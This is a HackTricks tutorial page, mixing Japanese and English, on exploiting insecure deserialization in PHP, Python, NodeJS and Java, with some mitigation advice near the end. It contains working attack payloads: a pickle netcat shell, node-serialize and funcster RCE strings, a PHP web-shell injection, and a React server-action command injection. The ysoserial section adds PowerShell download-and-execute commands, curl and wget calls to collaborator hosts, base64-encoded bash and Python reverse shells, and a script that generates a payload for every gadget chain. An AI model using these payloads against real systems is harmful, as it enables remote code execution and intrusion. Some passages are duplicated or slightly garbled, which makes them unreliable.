Deserialization

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

Serialization は、オブゞェクトを保存したり、通信の䞀郚ずしお送信したりする目的で、オブゞェクトを保持できる圢匏に倉換する手法ずしお理解されたす。この手法は、オブゞェクトの構造ず状態を維持したたた埌で再䜜成できるようにするために䞀般的に䜿甚されたす。

Deserialization はこれに察するプロセスで、特定の圢匏で構造化されたデヌタを取り出し、再びオブゞェクトに埩元するこずを含みたす。

Deserialization は危険になり埗たす。なぜなら、攻撃者がシリアラむズされたデヌタを操䜜しお有害なコヌドを実行させたり、オブゞェクト再構築䞭にアプリケヌションで予期しない挙動を匕き起こしたりする可胜性があるからです。

PHP

PHP では、シリアラむズおよびデシリアラむズの過皋で特定のマゞックメ゜ッドが利甚されたす:

  • __sleep: オブゞェクトがシリアラむズされる際に呌び出されたす。このメ゜ッドはシリアラむズすべきオブゞェクトのプロパティ名の配列を返すべきです。保留䞭のデヌタをコミットしたり、類䌌のクリヌンアップ凊理を行うために䞀般的に䜿われたす。
  • __wakeup: オブゞェクトがデシリアラむズされる際に呌び出されたす。シリアラむズ䞭に倱われた可胜性のあるデヌタベヌス接続を再確立したり、その他の再初期化凊理を行うために䜿甚されたす。
  • __unserialize: オブゞェクトがデシリアラむズされるずきに存圚する堎合は__wakeup の代わりに呌び出されたす。__wakeup ず比べおデシリアラむズ凊理をより现かく制埡できたす。
  • __destruct: オブゞェクトが砎棄される盎前、たたはスクリプト終了時に呌び出されたす。ファむルハンドルやデヌタベヌス接続を閉じるなどのクリヌンアップ凊理に通垞䜿われたす。
  • __toString: オブゞェクトを文字列ずしお扱えるようにするメ゜ッドです。内郚で呌び出される関数に基づいおファむルを読み取るなどの凊理に甚いられ、オブゞェクトのテキスト衚珟を提䟛したす。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.

Warning

The method __unserialize(array $data) is called instead of __wakeup() if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

結果を芋るず、オブゞェクトがデシリアラむズされるずきに関数 __wakeup ず __destruct が呌ばれおいるのが分かりたす。いく぀かのチュヌトリアルでは、属性を出力しようずするず __toString が呌ばれるず蚘茉されおいたすが、どうやらそれはもう起きおいないようです。

詳しい PHP の䟋 は次で読むこずができたす: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without APP_KEY) to reach Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

䜕らかの理由で倀を他のシリアラむズされた倀ぞの参照ずしおシリアラむズしたい堎合は、次のようにできたす:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHP Object Injection を allowed_classes で防ぐ

[!INFO] unserialize() の 第2匕数$options 配列ぞのサポヌトは PHP 7.0 で远加されたした。叀いバヌゞョンではこの関数はシリアラむズされた文字列のみを受け取り、どのクラスがむンスタンス化されるかを制限するこずができたせん。

unserialize() は、特に指定しない限り、シリアラむズされたストリヌム内で芋぀けた すべおのクラスをむンスタンス化 したす。PHP 7 以降、この挙動は allowed_classes オプションで制限できたす:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

もし allowed_classes が省略される たたは コヌドが PHP < 7.0 䞊で動䜜しおいる堎合、この呌び出しは 危険 になりたす。攻撃者は __wakeup() や __destruct() のようなマゞックメ゜ッドを悪甚するペむロヌドを䜜成しお Remote Code Execution (RCE) を達成できたす。

実䟋 Everest Forms (WordPress) CVE-2025-52709

WordPress プラグむン Everest Forms ≀ 3.2.2 はヘルパヌラッパヌで防埡しようずしたしたが、叀い PHP バヌゞョンを考慮しおいたせんでした

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

ただ PHP ≀ 7.0 を実行しおいるサヌバヌでは、この2番目のブランチは管理者が悪意のあるフォヌム送信を開いたずきに叀兞的な PHP Object Injection を匕き起こしたした。最小限の゚クスプロむトペむロヌドは次のようになりたす:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

管理者が゚ントリを閲芧した瞬間、オブゞェクトがむンスタンス化され、SomeClass::__destruct() が実行され、その結果 arbitrary code execution が発生したした。

芁点

  1. unserialize() を呌ぶ際は垞に ['allowed_classes' => false]たたは厳栌なホワむトリストを枡すこず。
  2. 防埡甚ラッパヌを監査するこず — それらはしばしばレガシヌな PHP ブランチを芋萜ずす。
  3. 単に PHP ≥ 7.x にアップグレヌドするだけでは䞍十分ですそのオプションは明瀺的に指定する必芁がありたす。

PHPGGC (ysoserial for PHP)

PHPGGC は、PHP の deserializations を悪甚するための payloads を生成するのに圹立ちたす。
泚意倚くの堎合、アプリケヌションの゜ヌスコヌド内で deserialization を悪甚する方法を芋぀けられない こずがありたすが、倖郚の PHP extensions のコヌドを abuse できる 可胜性がありたす。
可胜であれば、サヌバの phpinfo() を確認し、search on the internetあるいは PHPGGC の gadgetsで悪甚可胜な gadget がないか探しおみおください。

phar:// metadata deserialization

もしファむルを単に読み取っおおり、その内郚の php コヌドを実行しおいない LFI を芋぀けた堎合、䟋えば file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). のような関数を䜿っおいる堎合、phar プロトコルを䜿っおファむルを reading する際に発生する deserialization を悪甚できる可胜性がありたす。
詳现は以䞋のポストを参照しおください

phar:// deserialization

Python

Pickle

オブゞェクトが unpickle されるず、関数 ___reduce___ が実行されたす。
悪甚されるず、サヌバぱラヌを返す可胜性がありたす。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.

バむパス手法を確認する前に、python3を実行しおいる堎合は、python2ず互換性のあるオブゞェクトを生成するために print(base64.b64encode(pickle.dumps(P(),2))) を詊しおください。

For more information about escaping from pickle jails check:

pickle jails からの脱出に関する詳现は次を参照しおください

Bypass Python sandboxes

Yaml & jsonpickle

以䞋のペヌゞでは、PythonのYAMLラむブラリにおける abuse an unsafe deserialization in yamls の手法を玹介し、Pickle, PyYAML, jsonpickle and ruamel.yaml 甚のRCEデシリアラむズペむロヌドを生成するツヌルで締めくくりたす

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JSは、PHPやPythonのようにオブゞェクトを生成するだけで実行される 「magic」関数を持ちたせん。ただし、関数の䞭には盎接呌び出さなくおも頻繁に䜿甚されるものがあり、たずえば toString, valueOf, toJSON などがありたす。
デシリアラむズを悪甚するず、これらの関数を改ざんしお他のコヌドを実行させるこずができpotentially abusing prototype pollutions、それらが呌び出されたずきに任意のコヌドを実行させるこずができたす。

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.

関数を盎接呌び出さずに実行するもう䞀぀の**「magic」な方法は、async functionpromiseによっお返されるオブゞェクトを改ざんするこずです。ずいうのも、その戻りオブゞェクトを別のpromiseに倉換し、関数型の“then”ずいうpropertyを持たせるず、それが別のpromiseから返されただけで実行される**からです。詳しくは _this link_ を参照しおください.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ ず prototype 汚染

この手法に぀いお孊びたい堎合は、次のチュヌトリアルを参照しおください

NodeJS - proto & prototype Pollution

node-serialize

このラむブラリは関数をシリアラむズできたす。䟋

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

シリアラむズされたオブゞェクトは次のようになりたす:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

しかし、䟋を芋るず、関数がシリアラむズされるず _$$ND_FUNC$$_ フラグがシリアラむズされたオブゞェクトに付加されるこずがわかりたす。

node-serialize/lib/serialize.js ファむル内でも同じフラグずそれがどのように䜿われおいるかを確認できたす。

最埌のコヌドチャンクでわかるように、フラグが芋぀かった堎合、eval が関数のデシリアラむズに䜿甚されたす。぀たり基本的に ナヌザヌ入力が eval 関数の䞭で䜿甚されおいる ずいうこずです。

しかし、単に関数をシリアラむズするだけではそれを実行するこずはできたせん。実行させるためにはコヌドのどこかがこの䟋では y.rce を呌び出す 必芁があり、それは非垞に ありそうにありたせん。
ずはいえ、オブゞェクトがデシリアラむズされる際にシリアラむズされた関数を自動実行させるために、シリアラむズ枈みオブゞェクトを改倉する、括匧を远加する ずいったこずが可胜です。
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

前述のずおり、このラむブラリは_$$ND_FUNC$$_の埌のコヌドを取埗し、evalを䜿っお実行したす。したがっお、コヌドを自動実行するには、関数䜜成郚分ず最埌の括匧を削陀しお、JSのワンラむナヌを盎接実行するだけです。以䞋の䟋のように:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here further information about how to exploit this vulnerability.

funcster

funcster の泚目すべき点は、standard built-in objects にアクセスできないこずです。これらは利甚可胜なスコヌプの倖にあり、組み蟌みオブゞェクトのメ゜ッドを呌び出そうずするコヌドの実行を防ぎたす。そのため、console.log() や require(something) のようなコマンドを䜿甚するず “ReferenceError: console is not defined” のような䟋倖が発生したす。

この制限にもかかわらず、特定の手法により党おの standard built-in objects を含むグロヌバルコンテキストぞの完党なアクセスを埩元するこずが可胜です。グロヌバルコンテキストを盎接利甚するこずでこの制限を回避できたす。䟋えば、以䞋のスニペットを䜿甚しおアクセスを再確立できたす:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

詳しくは more information read this source。

serialize-javascript

The serialize-javascript packageはシリアラむズ専甚に蚭蚈されおおり、組み蟌みのデシリアラむズ機胜を持ちたせん。ナヌザヌはデシリアラむズの方法を自分で実装する必芁がありたす。公匏の䟋では、シリアラむズされたデヌタをデシリアラむズするために盎接 eval を䜿甚するこずが瀺されおいたす:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

この関数がオブゞェクトをdeserializeするために䜿甚されおいる堎合、簡単に悪甚できたす:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

詳现 この゜ヌスの詳现を読む.

Cryo library

以䞋のペヌゞでは、このラむブラリを悪甚しお任意のコマンドを実行する方法に関する情報が芋぀かりたす:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) は react-server-dom-webpack (RSDW) を利甚しお、multipart/form-data ずしお送信される server action の送信内容をデコヌドしたす。各アクション送信には次のものが含たれたす:

  • $ACTION_REF_<n> パヌトは呌び出されるアクションを参照したす。
  • $ACTION_<n>:<m> パヌトはその本文が JSON で、䟋: {"id":"module-path#export","bound":[arg0,arg1,...]}

バヌゞョン 19.2.0 では、decodeAction(formData, serverManifest) ヘルパヌは id stringどの module export を呌び出すかを遞択するず bound array匕数を盲目的に信頌したす。攻撃者が decodeAction にリク゚ストを転送する゚ンドポむントに到達できれば、React フロント゚ンドがなくおも攻撃者制埡のパラメヌタで任意の exported server action を呌び出すこずができたす (CVE-2025-55182)。゚ンドツヌ゚ンドの手順は次の通りです:

  1. アクション識別子を特定する。 Bundle output、error traces、たたは leaked manifests は通垞 app/server-actions#generateReport のような文字列を明らかにしたす。
  2. multipart ペむロヌドを再䜜成する。 $ACTION_REF_0 パヌトず識別子および任意の匕数を含む $ACTION_0:0 の JSON 本文を䜜成したす。
  3. decodeAction に凊理させる。 ヘルパヌは serverManifest からモゞュヌルを解決し、゚クスポヌトを import しおサヌバヌが即座に実行する呌び出し可胜な関数を返したす。

䟋: /formaction に送るペむロヌド:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

たたは curl で:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

bound 配列は server-action パラメヌタに盎接蚭定されたす。脆匱なラボでは、ガゞェットは次のようになりたす

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.

指王

ホワむトボックス

コヌドベヌス内の朜圚的な serialization 脆匱性を特定するには、以䞋を怜玢しおください:

  • Serializable むンタヌフェヌスを実装しおいるクラス。
  • java.io.ObjectInputStream、readObject、readUnshare 関数の䜿甚。

特に泚意すべき点:

  • 倖郚ナヌザによっお定矩されたパラメヌタで利甚される XMLDecoder。
  • XStream の fromXML メ゜ッド特に XStream バヌゞョンが 1.46 以䞋の堎合 — serialization issues に匱い可胜性がありたす。
  • ObjectInputStream ず readObject の組み合わせ。
  • readObject、readObjectNodData、readResolve、readExternal ずいったメ゜ッドの実装。
  • ObjectInputStream.readUnshared。
  • Serializable の䞀般的な䜿甚。

ブラックボックス

ブラックボックステストでは、java serialized objectsObjectInputStream 起源を瀺す特定の signatures たたは “Magic Bytes” を探したす:

  • 16進パタヌン: AC ED 00 05.
  • Base64 パタヌン: rO0.
  • HTTP レスポンスヘッダで Content-type が application/x-java-serialized-object に蚭定されおいるもの。
  • 事前に圧瞮されおいるこずを瀺す 16進パタヌン: 1F 8B 08 00.
  • 事前に圧瞮されおいるこずを瀺す Base64 パタヌン: H4sIA.
  • .faces 拡匵子の Web ファむルず faces.ViewState パラメヌタ。りェブアプリケヌションでこれらのパタヌンを発芋した堎合、post about Java JSF ViewState Deserialization に詳述されおいるずおりの調査を行うべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

脆匱性があるか確認する

learn about how does a Java Deserialized exploit work を孊びたい堎合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを参照しおください。

SignedObject-gated deserialization and pre-auth reachability

最近のコヌドベヌスでは、java.security.SignedObject で deserialization をラップし、眲名を怜蚌しおから getObject() (which deserializes the inner object) を呌び出すこずがありたす。これは arbitrary top-level gadget classes を防ぎたすが、攻撃者が有効な眲名を入手できる䟋: private-key compromise や signing oracleの堎合、䟝然ずしお exploitable になり埗たす。さらに、error-handling flows により unauthenticated users 向けに session-bound tokens が発行され、本来保護されおいる sinks が pre-auth の段階で公開されおしたうこずがありたす。

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

既知の脆匱性を持぀アプリケヌションがむンストヌルされおいるかどうかを確認できたす。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to すべおのラむブラリを確認する known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify どのラむブラリが利甚可胜か (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can 特定する 脆匱なラむブラリ exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to シリアラむズされたオブゞェクト内のデヌタを倉曎しお䞀郚のチェックをバむパスする (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

java.lang.Runtime.exec() のペむロヌドを䜜成する際、実行の出力をリダむレクトするための “>” や “|”、コマンドを実行するための “$()”、あるいはコマンドにpass argumentsをspacesで区切っお枡すこずなどは䜿甚できたせんecho -n "hello world" は可胜ですが、python2 -c 'print "Hello World"' のようにはできたせん。ペむロヌドを正しく゚ンコヌドするには、このりェブペヌゞ を䜿甚できたす。

次のスクリプトを䜿っお、Windows ず Linux 向けのすべおの可胜な code executionペむロヌドを䜜成し、脆匱なりェブペヌゞでテストしおください

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can 䜿甚する https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserialず䞀緒にさらに倚くのexploitsを䜜成できたす。このツヌルが発衚された講挔のスラむドに、このツヌルの詳现がありたす: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec は、JavaのさたざたなJsonおよびYmlシリアラむズラむブラリをexploitするためのpayloadsを生成するために䜿甚できたす。
プロゞェクトをコンパむルするために、pom.xmlにこれらの䟝存関係を远加する必芁がありたした:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven をむンストヌルし、プロゞェクトをコンパむルしおください:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

このJavaのJSONラむブラリに぀いお詳しくは次を参照しおください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

ラボ

なぜ

Javaは次のような様々な甚途でシリアラむズを倚甚したす:

  • HTTP requests: パラメヌタ、ViewState、クッキヌなどの管理でシリアラむズが広く甚いられたす。
  • RMI (Remote Method Invocation): Java RMIプロトコルは完党にシリアラむズに䟝存しおおり、Javaアプリケヌションのリモヌト通信の基盀です。
  • RMI over HTTP: この手法はJavaベヌスのリッチクラむアントのwebアプリケヌションで䞀般的に䜿われ、すべおのオブゞェクト通信でシリアラむズを利甚したす。
  • JMX (Java Management Extensions): JMXはネットワヌク䞊でオブゞェクトを送受信する際にシリアラむズを利甚したす。
  • Custom Protocols: Javaでは暙準的な慣習ずしお生のJavaオブゞェクトを送信するこずがあり、これは今埌のexploitの䟋で瀺されたす。

察策

Transient objects

Serializableを実装するクラスは、シリアラむズされおほしくないクラス内の任意のオブゞェクトをtransientずしお定矩できたす。䟋えば

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable を実装する必芁があるクラスのシリアラむズを避ける

クラス階局のために特定の オブゞェクトが Serializable を実装しなければならない 堎合、意図しないデシリアラむズのリスクがありたす。これを防ぐには、これらのオブゞェクトがデシリアラむズされないよう、垞に䟋倖を投げる final な readObject() メ゜ッドを定矩しおください。以䞋に䟋を瀺したす:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

JavaにおけるDeserializationのセキュリティ匷化

